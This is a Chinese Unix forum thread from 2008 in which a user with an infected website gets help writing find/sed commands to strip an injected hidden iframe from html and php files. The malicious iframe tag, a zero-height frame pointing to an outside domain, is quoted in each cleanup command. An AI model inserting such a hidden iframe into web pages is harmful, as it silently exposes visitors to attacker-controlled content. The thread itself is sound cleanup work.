Chinaunix
标题:
想使用find批量替换
[打印本页]
作者:
gagapp
时间:
2008-12-29 14:18
标题:
想使用find批量替换
由于中毒,想是用find的把很多html和php文件里的“<iframe src=http://baidu.bai5ud.cn/w65/w65.htm width=100 height=0></iframe>”替换为空,或是删除掉,不知命令是什么,使用以下方式老是报错。不知道问题在哪里。
find htdocs/ -name "*.html" -exec sed -i -e 's/<iframe src=http://baidu.bai5ud.cn/w65/w65.htm width=100 height=0></iframe>/ /g'
作者:
ly5066113
时间:
2008-12-29 14:20
find htdocs/ -name "*.html" -exec sed -i 's@<iframe src=http://baidu.bai5ud.cn/w65/w65.htm width=100 height=0></iframe>@ @g'
作者:
gagapp
时间:
2008-12-29 14:24
find: missing argument to `-exec'
可以这样吗:
find htdocs/ -name "*.html" |xargs sed -i 's@iframe src=http://baidu.bai5ud.cn/w65/w65.htm width=100 height=0></iframe>@ @g'
作者:
coolsail
时间:
2008-12-29 14:28
提示:
作者被禁止或删除 内容自动屏蔽
作者:
ly5066113
时间:
2008-12-29 14:28
标题:
回复 #3 gagapp 的帖子
find 没 -exec 参数???
xargs 的能不能用,试试不就知道了。
作者:
ly5066113
时间:
2008-12-29 14:29
标题:
回复 #3 gagapp 的帖子
开始没注意你的find写的有问题,在结尾加上 {} \;
find htdocs/ -name "*.html" -exec sed -i 's@<iframe src=http://baidu.bai5ud.cn/w65/w65.htm width=100 height=0></iframe>@ @g' {} \;
作者:
yezhulin1982
时间:
2008-12-29 14:31
作者:
gagapp
时间:
2008-12-29 14:37
xargs: unmatched single quote
作者:
blackold
时间:
2008-12-29 14:39
标题:
回复 #1 gagapp 的帖子
语法不对啊。{} \;
作者:
Axin
时间:
2008-12-29 14:46
对头
作者:
biglazybug
时间:
2008-12-29 14:55
LZ 用xargs吧
作者:
gagapp
时间:
2008-12-29 15:07
谢谢大家。可以了
欢迎光临 Chinaunix (http://bbs.chinaunix.net/)
Powered by Discuz! X3.2